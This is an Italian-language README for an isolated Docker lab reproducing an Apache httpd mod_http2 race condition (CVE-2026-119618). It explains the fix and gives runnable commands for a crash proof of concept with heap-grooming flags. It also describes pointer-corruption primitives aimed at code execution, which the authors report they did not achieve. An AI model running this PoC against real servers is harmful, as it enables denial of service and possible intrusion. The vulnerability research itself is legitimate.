
Lab Docker isolato che riproduce la race di mod_http2 CVE-2026-119618 in Apache httpd 2.4.55–2.4.70, con un PoC di crash, primitive di heap corruption, analisi del core dump e un controllo A/B su 2.4.71.
assign_headers() di Apache mod_http2 (CWE-362)Laboratorio proof-of-concept didattico per CVE-2026-119618 (critica; pubblicata il 2026-11-11), una
race condition in mod_http2 di Apache HTTP Server che interessa httpd 2.4.55–2.4.70, corretta
in 2.4.71. Tutto qui viene eseguito contro container Docker locali all'host, vincolati a
127.0.0.1 in una rete isolata — non puntare mai questi strumenti verso altri host.
Risultati in un paragrafo: il bug si riproduce come PoC di crash affidabile da corruzione dell'heap su
2.4.70 (core dump nei percorsi apr_table/allocator/pool-destroy, oltre 6 modalità di crash distinte), e
sono state ottenute due primitive di corruzione: byte di header controllati dall'attaccante che sovrascrivono un
puntatore a dati dereferenziato, e un dirottamento di function-pointer nella pulizia del pool che trasferisce il controllo a una
plain_cleanup_fn corrotta (primitiva B dello step 4). L'esecuzione di codice end-to-end NON è stata
raggiunta — gli step 5, 6 e 8 si sono ciascuno conclusi con un blocco strutturale preciso e supportato da prove
(vedi Results). Il controllo A/B su 2.4.71 è pulito: 189.524 stream su tutte le
famiglie di payload, zero reset/GOAWAY/core.
L'intera correzione upstream (commit 824beab9) è una riga in
modules/http2/h2_request.c, funzione assign_headers():
// when: !is_connect && no_body && Content-Type present && Content-Length absent
- apr_table_setn(req->headers, "Content-Length", "0"); // writes SHARED session-side table
+ apr_table_setn(r->headers_in, "Content-Length", "0"); // writes per-request clone (2.4.71)
assign_headers() viene eseguito su un thread worker di mod_http2 (c2), ma req->headers è una
apr_table che risiede nel pool dello stream di proprietà del thread di sessione nghttp2 (c1).
apr_table non è thread-safe, e i pool APR non sincronizzano le allocazioni sullo stesso pool:
c1 session thread (nghttp2) c2 worker thread (mod_http2)
──────────────────────────── ────────────────────────────
h2_request_clone / push collect assign_headers()
iterate/copy req->headers ──────┐ apr_table_setn(req->headers,
apr_palloc from stream pool ──┐ │ "Content-Length", "0")
│ │ └─ realloc entry array (80 entries
shared session allocator ◄────┴─┴──────────── == capacity) + apr_palloc race
(lock-free on this path) ⇒ heap corruption / double-pop
Il setn del worker può riallocare l'array di entry della tabella o sovrascrivere le entry mentre il thread della sessione clona/itera la stessa tabella, e il suo apr_palloc gareggia con le allocazioni del thread della sessione dallo stesso nodo dell'allocatore lock-free. La 2.4.71 rimuove la scrittura condivisa (usa il clone per-richiesta r->headers_in) e aggiunge pool_lock.
Una richiesta HTTP/2 il cui frame HEADERS trasporta END_STREAM (nessun body) con un header Content-Type, nessun Content-Length e un metodo diverso da CONNECT. La race è tra thread della sessione e thread del worker sullo stesso stream, quindi il PoC apre molti di questi stream in modo concorrente e amplifica con il timing di RST/push/burst.
| Percorso | Scopo |
|---|---|
docker-compose.yaml | target = httpd:2.4.70 (vulnerabile), target-fixed = httpd:2.4.71 (A/B), dev = questo container |
target/httpd-lab.conf | configurazione h2c iniettata tramite -c Include (Listen 8080, Protocols h2c http/1.1, event MPM, CoreDumpDirectory /tmp, CGI abilitato) |
target/htdocs/ | push.cgi (emette Link: </style.css>; rel=preload per guidare il cloning del thread della sessione), diag.cgi (diagnostica core/proc, ?savecore preserva /tmp/core), fetch.cgi (scarica via gzip file/core/marker dal target) |
poc.py | client di race h2 (PoC di crash + flag di grooming) |
exploit.py | driver RCE step-5/6 + helper riutilizzabili (run_poc, save_and_fetch_core, gdb_batch, indirizzi fissi) |
cve2poc/ | harness a doppio ciclo step-8 (architettura Cve2PoC: spec → gate statici → sintesi → esecuzione → oracle → scoring a doppio asse → refine/replan) |
evidence/ | writeup degli step (STEP4_RCE.md, STEP5_RCE.md, STEP6_RCE.md, STEP8_CVE2POC.md), backtrace risolte, analyze_core.sh (resolver offline dei core), core archiviati in target-bin/ |
src/ | sorgente di riferimento in sola lettura (httpd 2.4.70, apr 1.7.5) — mai compilato |
Note sull'ambiente: il container agent/dev non ha la CLI docker — avvia i target sull'host con docker compose up -d target target-fixed. L'ASLR è disattivato in questo laboratorio, quindi tutti gli indirizzi registrati (system = 0xffff924292c0, base di mod_http2 0xffff91e60000, regione di header-spray 0xffff91600000–0xffff91650000, …) sono stabili tra le esecuzioni. kernel.core_pattern=core e core_uses_pid=0: ogni crash sovrascrive il /tmp/core del target — esegui curl 'http://target:8080/diag.cgi?savecore' prima della race successiva.
python3 -m venv .venv && .venv/bin/pip install h2 # once
# Crash PoC (reliable on 2 CPUs; expect exit 1 + a fresh ~1.1 GB core in target /tmp):
.venv/bin/python poc.py --host target --mode flood --connections 16 --streams 100 \
--rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 15 --persist
# Preserve + fetch + resolve the core (sleep ~15 s first — diag.cgi is unresponsive
# while the core flushes):
curl -s 'http://target:8080/diag.cgi?savecore'
curl -s 'http://target:8080/fetch.cgi?f=core' -o /tmp/c.gz && gunzip -f /tmp/c.gz
bash evidence/analyze_core.sh /tmp/c # offline gdb vs archived target binaries
# A/B control — identical run vs the patched image; expect 0 resets/GOAWAYs/cores:
.venv/bin/python poc.py --host target-fixed --mode flood --connections 16 --streams 100 \
--rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 30 --persist
# Step-8 dual-loop harness (strategy registry, dead-veto, dual-axis scoring, stall→replan):
.venv/bin/python -m cve2poc selftest # offline proof, green before any race
.venv/bin/python -m cve2poc run --strategy S2 --budget 4 --duration 20
.venv/bin/python -m cve2poc status # reconstruct state from the JSONL reward store
Flag chiave di grooming di poc.py: --fill 78 (78 filler + content-type + host = 80 voci == capacità della tabella ⇒ forza il realloc vulnerabile; --fill 0 è il controllo senza race), --pad N (orienta il consumo dello stream-pool rispetto al confine del nodo allocatore da 8 KB; 16 = finestra di crash in cleanup), amplificatori --mode {race,rst,push,flood,burst}, --pattern (spray di header riconoscibile), --payload-hex / --body-hex / --body-every (payload binari; i valori degli header nghttp2 sono solo field-vchar, quindi i byte contenenti NUL devono viaggiare nei corpi DATA).
poc.py manda in crash il worker 2.4.70 in modo riproducibile (conn 16 più affidabile di 32 su 2 CPU).
I core risolti offline si classificano in 6+ modalità distinte: corruzione della free-list dell'allocatore
(apr_allocator_free con un puntatore corrotto nel checksum), race sulle voci di apr_table, corruzione
del data-pointer dello stream, corruzione di bucket/brigade, crash di cleanup alla distruzione del pool e
assert di APR. Ogni core è verificato per provenienza (Apache/2.4.70, stringa pool_lock assente)
prima dell'attribuzione. Vedi evidence/EVIDENCE.md e BACKTRACE_*.txt.